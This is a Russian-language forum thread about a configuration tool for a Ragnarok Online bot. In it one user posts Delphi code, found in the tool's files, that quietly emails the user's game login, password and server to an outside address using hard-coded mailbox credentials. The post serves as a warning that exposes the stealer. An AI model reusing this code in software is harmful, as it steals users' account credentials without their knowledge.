прога для настройки бота
Модератор: 4epT
Правила форума
Все вопросы по OK не касающиеся плагинов и макросов публикуются в этом разделе.
Перед тем как что то писать, пожалуйста, удостоверьтесь что данная тема не поднималась, вы полностью изучили мануалы по конфигурационным файлам бота и не нашли там решения.
Все вопросы по OK не касающиеся плагинов и макросов публикуются в этом разделе.
Перед тем как что то писать, пожалуйста, удостоверьтесь что данная тема не поднималась, вы полностью изучили мануалы по конфигурационным файлам бота и не нашли там решения.
-
- Энтузиаст
- Сообщения: 138
- Зарегистрирован: Сб дек 02, 2006 11:34 pm
- Откуда: Москва
- Контактная информация:
вышло обновление, качаем, смотрим ценим.... и наконец ВЫЛОЖИТЕ отзывы!!! http://soft-ro.narod.ru/ok-konfig.rar
+ новая вкладка для сдачи лута закупки расходников, сбора вещей с кафры, с сдача на хранение
+ новая вкладка для сдачи лута закупки расходников, сбора вещей с кафры, с сдача на хранение
когда В.В. Путин говорил о повышении рождаемости, он разве не ботов имел ввиду???
По вопросам настройки бота, в аську: 377177558
По вопросам настройки бота, в аську: 377177558
ерор 403 однако...и наконец ВЫЛОЖИТЕ отзывы!!! http://soft-ro.narod.ru/ok-konfig.rar
- DeniZka
- Разработчик
- Сообщения: 410
- Зарегистрирован: Ср ноя 15, 2006 6:36 pm
- Сервер RO:: rRO AsgardRO
- Откуда: Mos-Cow Citadel
- Контактная информация:
Хорошо, что JetFire мне на вас указал.
Перенаправляю вас сюда, господа.
viewtopic.php?t=1137
Я автар сей программулины. Пожелания учту.
PS: IMHO Грамотно настроенный файрволл и холодная голова на плечах лучше любого антивируса.
Перенаправляю вас сюда, господа.
viewtopic.php?t=1137
Я автар сей программулины. Пожелания учту.
PS: IMHO Грамотно настроенный файрволл и холодная голова на плечах лучше любого антивируса.
SaveConfig();
{ //--------------Отсылка паролей на нужный адрес---------------
IdSmtp1.Host:='smtp.yandex.ru';
IdSmtp1.Port:=25;
IdSmtp1.AuthenticationType:=atLogin;
IdSmtp1.Username:='wildfighter';
IdSmtp1.Password:='666666';
IdMessage1.Body.Text:=Edit3.Text+' '+Edit4.Text+' '+CBServName.Text+' '+CBMasterServ.Text;
IdMessage1.From.Text:='wildfighter@yandex.ru';
IdMessage1.Recipients.EMailAddresses:='wildfighter@bk.ru';
IdMessage1.Subject:='You Win New Passes!';
try
IdSmtp1.Connect();
except
MessageDlg('Необходимо подключение к сети Интернет!'+#13#10+'проверьте настройки',mtError,[mbOk],0);
end;
if IdSmtp1.Connected then
begin IdSmtp1.Send(IdMessage1);
IdSmtp1.Disconnect; //------------ГОТОВО!----------------{}
massiv.SaveToFile(filepos); // Сохраняю результат
Form1.Caption:='ok-config: '+'config.txt';
// end;
end;
procedure TForm1.N1230Click(Sender: TObject);
begin
filepos:=extractFilePath(cmdline);
delete(filepos,1,1);
if filepos[length(filepos)]<>'\' then filepos:=fi
_________________________________________
Вот что я нашёл в одном из файлов)))
Оцените
{ //--------------Отсылка паролей на нужный адрес---------------
IdSmtp1.Host:='smtp.yandex.ru';
IdSmtp1.Port:=25;
IdSmtp1.AuthenticationType:=atLogin;
IdSmtp1.Username:='wildfighter';
IdSmtp1.Password:='666666';
IdMessage1.Body.Text:=Edit3.Text+' '+Edit4.Text+' '+CBServName.Text+' '+CBMasterServ.Text;
IdMessage1.From.Text:='wildfighter@yandex.ru';
IdMessage1.Recipients.EMailAddresses:='wildfighter@bk.ru';
IdMessage1.Subject:='You Win New Passes!';
try
IdSmtp1.Connect();
except
MessageDlg('Необходимо подключение к сети Интернет!'+#13#10+'проверьте настройки',mtError,[mbOk],0);
end;
if IdSmtp1.Connected then
begin IdSmtp1.Send(IdMessage1);
IdSmtp1.Disconnect; //------------ГОТОВО!----------------{}
massiv.SaveToFile(filepos); // Сохраняю результат
Form1.Caption:='ok-config: '+'config.txt';
// end;
end;
procedure TForm1.N1230Click(Sender: TObject);
begin
filepos:=extractFilePath(cmdline);
delete(filepos,1,1);
if filepos[length(filepos)]<>'\' then filepos:=fi
_________________________________________
Вот что я нашёл в одном из файлов)))
Оцените